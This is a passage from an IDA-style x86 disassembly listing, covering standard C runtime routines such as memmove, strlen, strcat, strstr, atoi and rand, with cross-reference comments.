loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_439550, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_439550 imul eax, 343FDh add eax, 269EC3h mov dword_439550, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_4397AC, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_4397AC, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; 